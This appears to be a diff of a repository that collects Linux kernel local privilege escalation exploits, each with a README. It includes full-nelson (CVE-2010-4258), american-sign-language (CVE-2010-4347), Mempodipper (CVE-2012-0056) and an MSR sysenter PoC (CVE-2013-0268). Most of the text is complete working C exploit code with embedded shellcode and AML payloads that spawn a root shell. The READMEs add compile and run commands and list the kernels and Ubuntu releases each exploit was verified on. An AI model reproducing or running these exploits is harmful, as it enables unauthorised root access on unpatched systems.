||||
printf("[*] Resolving kernel addresses...\n");
|
||||
econet_ioctl = get_kernel_sym("econet_ioctl");
|
||||
econet_ops = get_kernel_sym("econet_ops");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(!(newstack = malloc(65536))) {
|
||||
printf("[*] Failed to allocate memory.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Calculating target...\n");
|
||||
target = econet_ops + 10 * sizeof(void *) - OFFSET;
|
||||
|
||||
/* Clear the higher bits */
|
||||
landing = econet_ioctl << SHIFT >> SHIFT;
|
||||
|
||||
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
|
||||
|
||||
if ((long)payload == -1) {
|
||||
printf("[*] Failed to mmap() at target address.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
memcpy((void *)landing, &trampoline, 1024);
|
||||
|
||||
clone((int (*)(void *))trigger,
|
||||
(void *)((unsigned long)newstack + 65536),
|
||||
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
|
||||
&fildes, NULL, NULL, target);
|
||||
|
||||
sleep(1);
|
||||
|
||||
printf("[*] Triggering payload...\n");
|
||||
ioctl(fildes[2], 0, NULL);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
# CVE-2010-4258
|
||||
|
||||
CVE-2010-4258
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-4258](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4258)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/15704/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.31, 2.6.32, 2.6.35, 2.6.37
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc full-nelson.c -o full-nelson
|
||||
$ ./full-nelson
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32
|
||||
- Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32
|
||||
|
||||
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
|
||||
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
|
||||
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64
|
||||
|
||||
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,253 @@
|
|||
/*
|
||||
* american-sign-language.c
|
||||
*
|
||||
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
|
||||
*
|
||||
* This custom_method file allows to inject custom ACPI methods into the ACPI
|
||||
* interpreter tables. This control file was introduced with world writeable
|
||||
* permissions in Linux Kernel 2.6.33.
|
||||
*
|
||||
* Usage:
|
||||
*
|
||||
* $ gcc american-sign-language.c -o american-sign-language
|
||||
* $ ./american-sign-language
|
||||
* [+] resolving required symbols...
|
||||
* [+] checking for world-writable custom_method...
|
||||
* [+] checking for an ACPI LID device...
|
||||
* [+] poisoning ACPI tables via custom_method...
|
||||
* [+] triggering ACPI payload via LID device...
|
||||
* [+] triggering exploit via futimesat...
|
||||
* [+] launching root shell!
|
||||
* # id
|
||||
* uid=0(root) gid=0(root) groups=0(root)
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* This vuln allows us to write custom ACPI methods and load them into the
|
||||
* kernel as an unprivileged user. We compile some fancy ASL down to AML
|
||||
* that overrides the ACPI method used when the status of the LID device is
|
||||
* queried (eg. 'open' or 'closed' lid on a laptop). When the method is
|
||||
* triggered, it overlays an OperationRegion on the physical address where
|
||||
* sys_futimesat is located and overwrites the memory via the Store to
|
||||
* escalate privileges whenever sys_futimesat is called.
|
||||
*
|
||||
* The payload is 64-bit only and depends on the existence of a LID device
|
||||
* (eg. laptop), but the exploit will still tell you if you're vulnerable
|
||||
* regardless. If you don't know how to work around these limitations, you
|
||||
* probably shouldn't be running this in the first place. :-P
|
||||
*
|
||||
* Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
/*
|
||||
* The ASL payload looks like:
|
||||
*
|
||||
* DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
|
||||
* Method (\_SB.LID._LID, 0, NotSerialized) {
|
||||
* OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
|
||||
* Field(KMEM, AnyAcc, NoLock, Preserve) {
|
||||
* HACK, 0x392
|
||||
* }
|
||||
* Store (Buffer () {
|
||||
* 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
|
||||
* 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
|
||||
* 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
|
||||
* 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
|
||||
* 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
|
||||
* 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
|
||||
* 0xc3 }, HACK)
|
||||
* Return (One)
|
||||
* }
|
||||
* }
|
||||
*
|
||||
* Feel free to `iasl -d` this is you don't trust me! ;-)
|
||||
*/
|
||||
#define PAYLOAD_AML \
|
||||
"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \
|
||||
"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \
|
||||
"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \
|
||||
"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \
|
||||
"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \
|
||||
"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \
|
||||
"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \
|
||||
"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"
|
||||
#define PAYLOAD_LEN 144
|
||||
|
||||
#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"
|
||||
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int ret;
|
||||
FILE *fp;
|
||||
char buf[64];
|
||||
struct stat sb;
|
||||
char payload[PAYLOAD_LEN] = PAYLOAD_AML;
|
||||
unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;
|
||||
|
||||
printf("[+] resolving required symbols...\n");
|
||||
|
||||
sys_futimesat = get_symbol("sys_futimesat");
|
||||
if (!sys_futimesat) {
|
||||
printf("[-] sys_futimesat symbol not found, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
prepare_kernel_cred = get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
commit_creds = get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("[-] commit_creds symbol not found, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] checking for world-writable custom_method...\n");
|
||||
|
||||
ret = stat(CUSTOM_METHOD, &sb);
|
||||
if (ret < 0) {
|
||||
printf("[-] custom_method not found, kernel is not vulnerable!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!(sb.st_mode & S_IWOTH)) {
|
||||
printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] checking for an ACPI LID device...\n");
|
||||
|
||||
ret = stat(HEY_ITS_A_LID, &sb);
|
||||
if (ret < 0) {
|
||||
printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (sizeof(sys_futimesat) != 8) {
|
||||
printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
sys_futimesat &= ~0xffffffff80000000;
|
||||
memcpy(&payload[63], &sys_futimesat, 4);
|
||||
memcpy(&payload[101], &commit_creds, 4);
|
||||
memcpy(&payload[108], &prepare_kernel_cred, 4);
|
||||
|
||||
printf("[+] poisoning ACPI tables via custom_method...\n");
|
||||
|
||||
fp = fopen(CUSTOM_METHOD, "w");
|
||||
fwrite(payload, 1, sizeof(payload), fp);
|
||||
fclose(fp);
|
||||
|
||||
printf("[+] triggering ACPI payload via LID device...\n");
|
||||
|
||||
fp = fopen(HEY_ITS_A_LID, "r");
|
||||
fread(&buf, 1, sizeof(buf), fp);
|
||||
fclose(fp);
|
||||
|
||||
printf("[+] triggering exploit via futimesat...\n");
|
||||
|
||||
ret = futimesat(0, "/tmp", NULL);
|
||||
|
||||
if (ret != -1 || errno != EDOTDOT) {
|
||||
printf("[-] unexpected futimesat errno, exploit failed!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("[-] privileges not escalated, exploit failed!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] launching root shell!\n");
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
}
|
|
@ -0,0 +1,24 @@
|
|||
# CVE-2010-4347
|
||||
|
||||
CVE-2010-4347
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-4347](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4347)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc american-sign-language.c -o american-sign-language
|
||||
$ ./american-sign-language
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [http://www.securityfocus.com/bid/45408/](http://www.securityfocus.com/bid/45408/http://www.securityfocus.com/bid/45408/)
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,227 @@
|
|||
/*
|
||||
Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
|
||||
Blog post about it is here: http://blog.zx2c4.com/749
|
||||
EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/
|
||||
|
||||
# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
|
||||
# Date: Jan 21, 2012
|
||||
# Author: zx2c4
|
||||
# Tested on: Gentoo, Ubuntu
|
||||
# Platform: Linux
|
||||
# Category: Local
|
||||
# CVE-2012-0056
|
||||
|
||||
|
||||
* Mempodipper
|
||||
* by zx2c4
|
||||
*
|
||||
* Linux Local Root Exploit
|
||||
*
|
||||
* Rather than put my write up here, per usual, this time I've put it
|
||||
* in a rather lengthy blog post: http://blog.zx2c4.com/749
|
||||
*
|
||||
* Enjoy.
|
||||
*
|
||||
* - zx2c4
|
||||
* Jan 21, 2012
|
||||
*
|
||||
* CVE-2012-0056
|
||||
*/
|
||||
|
||||
#define _LARGEFILE64_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <limits.h>
|
||||
|
||||
char *socket_path = "/tmp/.sockpuppet";
|
||||
int send_fd(int fd)
|
||||
{
|
||||
char buf[1];
|
||||
struct iovec iov;
|
||||
struct msghdr msg;
|
||||
struct cmsghdr *cmsg;
|
||||
struct sockaddr_un addr;
|
||||
int n;
|
||||
int sock;
|
||||
char cms[CMSG_SPACE(sizeof(int))];
|
||||
|
||||
if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
|
||||
return -1;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
|
||||
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
|
||||
return -1;
|
||||
|
||||
buf[0] = 0;
|
||||
iov.iov_base = buf;
|
||||
iov.iov_len = 1;
|
||||
|
||||
memset(&msg, 0, sizeof msg);
|
||||
msg.msg_iov = &iov;
|
||||
msg.msg_iovlen = 1;
|
||||
msg.msg_control = (caddr_t)cms;
|
||||
msg.msg_controllen = CMSG_LEN(sizeof(int));
|
||||
|
||||
cmsg = CMSG_FIRSTHDR(&msg);
|
||||
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
|
||||
cmsg->cmsg_level = SOL_SOCKET;
|
||||
cmsg->cmsg_type = SCM_RIGHTS;
|
||||
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
|
||||
|
||||
if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
|
||||
return -1;
|
||||
close(sock);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int recv_fd()
|
||||
{
|
||||
int listener;
|
||||
int sock;
|
||||
int n;
|
||||
int fd;
|
||||
char buf[1];
|
||||
struct iovec iov;
|
||||
struct msghdr msg;
|
||||
struct cmsghdr *cmsg;
|
||||
struct sockaddr_un addr;
|
||||
char cms[CMSG_SPACE(sizeof(int))];
|
||||
|
||||
if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
|
||||
return -1;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
|
||||
unlink(socket_path);
|
||||
if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
|
||||
return -1;
|
||||
if (listen(listener, 1) < 0)
|
||||
return -1;
|
||||
if ((sock = accept(listener, NULL, NULL)) < 0)
|
||||
return -1;
|
||||
|
||||
iov.iov_base = buf;
|
||||
iov.iov_len = 1;
|
||||
|
||||
memset(&msg, 0, sizeof msg);
|
||||
msg.msg_name = 0;
|
||||
msg.msg_namelen = 0;
|
||||
msg.msg_iov = &iov;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
msg.msg_control = (caddr_t)cms;
|
||||
msg.msg_controllen = sizeof cms;
|
||||
|
||||
if ((n = recvmsg(sock, &msg, 0)) < 0)
|
||||
return -1;
|
||||
if (n == 0)
|
||||
return -1;
|
||||
cmsg = CMSG_FIRSTHDR(&msg);
|
||||
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
|
||||
close(sock);
|
||||
close(listener);
|
||||
return fd;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
|
||||
char parent_mem[256];
|
||||
sprintf(parent_mem, "/proc/%s/mem", argv[2]);
|
||||
printf("[+] Opening parent mem %s in child.\n", parent_mem);
|
||||
int fd = open(parent_mem, O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("[-] open");
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Sending fd %d to parent.\n", fd);
|
||||
send_fd(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("===============================\n");
|
||||
printf("= Mempodipper =\n");
|
||||
printf("= by zx2c4 =\n");
|
||||
printf("= Jan 21, 2012 =\n");
|
||||
printf("===============================\n\n");
|
||||
|
||||
int parent_pid = getpid();
|
||||
if (fork()) {
|
||||
printf("[+] Waiting for transferred fd in parent.\n");
|
||||
int fd = recv_fd();
|
||||
printf("[+] Received fd at %d.\n", fd);
|
||||
if (fd < 0) {
|
||||
perror("[-] recv_fd");
|
||||
return -1;
|
||||
}
|
||||
printf("[+] Assigning fd %d to stderr.\n", fd);
|
||||
dup2(2, 6);
|
||||
dup2(fd, 2);
|
||||
|
||||
unsigned long address;
|
||||
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
|
||||
address = strtoul(argv[2], NULL, 16);
|
||||
else {
|
||||
printf("[+] Reading su for exit@plt.\n");
|
||||
// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
|
||||
FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
|
||||
char result[32];
|
||||
result[0] = 0;
|
||||
fgets(result, 32, command);
|
||||
pclose(command);
|
||||
address = strtoul(result, NULL, 16);
|
||||
if (address == ULONG_MAX || !address) {
|
||||
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
|
||||
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Resolved exit@plt to 0x%lx.\n", address);
|
||||
}
|
||||
printf("[+] Calculating su padding.\n");
|
||||
FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
|
||||
char result[256];
|
||||
result[0] = 0;
|
||||
fgets(result, 256, command);
|
||||
pclose(command);
|
||||
unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
|
||||
unsigned long offset = address - su_padding;
|
||||
printf("[+] Seeking to offset 0x%lx.\n", offset);
|
||||
lseek64(fd, offset, SEEK_SET);
|
||||
|
||||
#if defined(__i386__)
|
||||
// See shellcode-32.s in this package for the source.
|
||||
char shellcode[] =
|
||||
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
|
||||
"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
|
||||
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
|
||||
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
|
||||
"\x80";
|
||||
#elif defined(__x86_64__)
|
||||
// See shellcode-64.s in this package for the source.
|
||||
char shellcode[] =
|
||||
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
|
||||
"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
|
||||
"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
|
||||
"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
|
||||
"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
|
||||
|
||||
#else
|
||||
#error "That platform is not supported."
|
||||
#endif
|
||||
printf("[+] Executing su with shellcode.\n");
|
||||
execl("/bin/su", "su", shellcode, NULL);
|
||||
} else {
|
||||
char pid[32];
|
||||
sprintf(pid, "%d", parent_pid);
|
||||
printf("[+] Executing child from child fork.\n");
|
||||
execl("/proc/self/exe", argv[0], "-c", pid, NULL);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
# CVE-2012-0056
|
||||
|
||||
CVE-2012-0056
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2012-0056](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0056)
|
||||
* [exp-db](http://www.exploit-db.com/exploits/18411/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 11.10 - 3.0.0-12-generic-pae #20-Ubuntu x86_32
|
||||
- Ubuntu 11.10 - 3.0.0-12-server #20-Ubuntu x86_64
|
||||
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,171 @@
|
|||
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
|
||||
// can do whatever in the commented area, re-enable module support, etc
|
||||
// requires CONFIG_X86_MSR and just uid 0
|
||||
// a small race exists between the time when the MSR is written to the first
|
||||
// time and when we issue our sysenter
|
||||
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
|
||||
// configured to take a hex arg of a dword pointer to set to 0
|
||||
// (modules_disabled, selinux_enforcing, take your pick)
|
||||
//
|
||||
// Hello to Red Hat, who has shown yet again to not care until a
|
||||
// public exploit is released. Not even a bugtraq entry existed in
|
||||
// their system until this was published -- and they have a paid team
|
||||
// of how many?
|
||||
// It's not as if I didn't mention the problem and existence of an easy
|
||||
// exploit multiple times prior:
|
||||
// https://twitter.com/grsecurity/status/298977370776432640
|
||||
// https://twitter.com/grsecurity/status/297365303095078912
|
||||
// https://twitter.com/grsecurity/status/297189488638181376
|
||||
// https://twitter.com/grsecurity/status/297030133628416000
|
||||
// https://twitter.com/grsecurity/status/297029470072745984
|
||||
// https://twitter.com/grsecurity/status/297028324134359041
|
||||
//
|
||||
// spender 2013
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <sched.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define SYSENTER_EIP_MSR 0x176
|
||||
|
||||
u_int64_t msr;
|
||||
|
||||
unsigned long ourstack[65536];
|
||||
|
||||
u_int64_t payload_data[16];
|
||||
|
||||
extern void *_ring0;
|
||||
extern void *_ring0_end;
|
||||
|
||||
void ring0(void)
|
||||
{
|
||||
__asm volatile(".globl _ring0\n"
|
||||
"_ring0:\n"
|
||||
".intel_syntax noprefix\n"
|
||||
".code64\n"
|
||||
// set up stack pointer with 'ourstack'
|
||||
"mov esp, ecx\n"
|
||||
// save registers, contains the original MSR value
|
||||
"push rax\n"
|
||||
"push rbx\n"
|
||||
"push rcx\n"
|
||||
"push rdx\n"
|
||||
// play with the kernel here with interrupts disabled!
|
||||
"mov rcx, qword ptr [rbx+8]\n"
|
||||
"test rcx, rcx\n"
|
||||
"jz skip_write\n"
|
||||
"mov dword ptr [rcx], 0\n"
|
||||
"skip_write:\n"
|
||||
// restore MSR value before returning
|
||||
"mov ecx, 0x176\n" // SYSENTER_EIP_MSR
|
||||
"mov eax, dword ptr [rbx]\n"
|
||||
"mov edx, dword ptr [rbx+4]\n"
|
||||
"wrmsr\n"
|
||||
"pop rdx\n"
|
||||
"pop rcx\n"
|
||||
"pop rbx\n"
|
||||
"pop rax\n"
|
||||
"sti\n"
|
||||
"sysexit\n"
|
||||
".code32\n"
|
||||
".att_syntax prefix\n"
|
||||
".global _ring0_end\n"
|
||||
"_ring0_end:\n"
|
||||
);
|
||||
}
|
||||
|
||||
unsigned long saved_stack;
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
cpu_set_t set;
|
||||
int msr_fd;
|
||||
int ret;
|
||||
u_int64_t new_msr;
|
||||
struct sched_param sched;
|
||||
u_int64_t resolved_addr = 0ULL;
|
||||
|
||||
if (argc == 2)
|
||||
resolved_addr = strtoull(argv[1], NULL, 16);
|
||||
|
||||
/* can do this without privilege */
|
||||
mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
|
||||
mlock(&payload_data, sizeof(payload_data));
|
||||
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(0, &set);
|
||||
|
||||
sched.sched_priority = 99;
|
||||
|
||||
ret = sched_setscheduler(0, SCHED_FIFO, &sched);
|
||||
if (ret) {
|
||||
fprintf(stderr, "Unable to set priority.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
|
||||
if (ret) {
|
||||
fprintf(stderr, "Unable to set affinity.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
msr_fd = open("/dev/cpu/0/msr", O_RDWR);
|
||||
if (msr_fd < 0) {
|
||||
msr_fd = open("/dev/msr0", O_RDWR);
|
||||
if (msr_fd < 0) {
|
||||
fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
|
||||
ret = read(msr_fd, &msr, sizeof(msr));
|
||||
if (ret != sizeof(msr)) {
|
||||
fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// stuff some addresses in a buffer whose address we
|
||||
// pass to the "kernel" via register
|
||||
payload_data[0] = msr;
|
||||
payload_data[1] = resolved_addr;
|
||||
|
||||
printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
|
||||
fflush(stdout);
|
||||
|
||||
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
|
||||
new_msr = (u_int64_t)(unsigned long)&_ring0;
|
||||
|
||||
printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
|
||||
fflush(stdout);
|
||||
|
||||
ret = write(msr_fd, &new_msr, sizeof(new_msr));
|
||||
if (ret != sizeof(new_msr)) {
|
||||
fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
__asm volatile(
|
||||
".intel_syntax noprefix\n"
|
||||
".code32\n"
|
||||
"mov saved_stack, esp\n"
|
||||
"lea ecx, ourstack\n"
|
||||
"lea edx, label2\n"
|
||||
"lea ebx, payload_data\n"
|
||||
"sysenter\n"
|
||||
"label2:\n"
|
||||
"mov esp, saved_stack\n"
|
||||
".att_syntax prefix\n"
|
||||
);
|
||||
|
||||
printf("Success.\n");
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
# CVE-2013-0268
|
||||
|
